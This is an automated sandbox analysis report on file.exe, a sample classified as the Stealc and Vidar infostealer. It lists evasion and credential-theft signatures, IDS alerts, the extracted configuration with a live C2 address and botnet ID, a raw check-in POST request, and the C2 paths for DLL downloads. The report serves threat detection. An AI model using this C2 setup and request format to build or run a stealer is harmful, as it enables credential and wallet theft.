Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1540723
MD5:	c3296f6f55ac5db62cc43a0f555a1484
SHA1:	ea6b377af194e98a906c8b2373399d3f6f068522
SHA256:	c63fc85a83f56bec43d9cb08cbcf52a14040dc32c628c22c6bea27b95dac15a1
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 764 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C3296F6F55AC5DB62CC43A0F555A1484)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2365609973.0000000001465000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2089686437.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2365609973.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2365609973.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 764	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 764	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 764	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.60bbc8.1.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x24672:$x5: vchost.exe
0.2.file.exe.5e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T02:50:08.241450+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T02:50:08.234682+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T02:50:08.518469+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T02:50:09.721699+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T02:50:08.603672+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T02:50:07.951373+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T02:50:10.333749+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:18.993439+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:20.747012+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:21.805793+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:22.610744+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:24.317671+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:24.813313+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECGIEBAEBFIIECBGCBGHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 43 37 31 39 41 34 31 30 42 42 38 38 33 38 38 34 31 37 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 2d 2d 0d 0a Data Ascii: ------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="hwid"FDC719A410BB883884179------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="build"doma------IECGIEBAEBFIIECBGCBG--

Source: file.exe, 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2365609973.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dlld
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll3
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllt
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllH
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dlll
Source: file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php5.c
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php6
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpE
Source: file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpHAR)
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpR
Source: file.exe, 00000000.00000002.2365609973.0000000001433000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpb
Source: file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf
Source: file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpq
Source: file.exe, 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.2365609973.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/s
Source: file.exe, 00000000.00000002.2365609973.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37R
Source: file.exe, 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2380999461.000000001D6F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2392021959.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2386656748.00000000297CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2386656748.00000000297CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2386656748.00000000297CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2386656748.00000000297CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BKFBAECBAEGDGDHIEHIJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2386656748.00000000297CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2386656748.00000000297CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/80x1024
Source: file.exe, 00000000.00000003.2303212760.000000002F859000.00000004.00000020.00020000.00000000.sdmp, FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2303212760.000000002F859000.00000004.00000020.00020000.00000000.sdmp, FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2303212760.000000002F859000.00000004.00000020.00020000.00000000.sdmp, FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
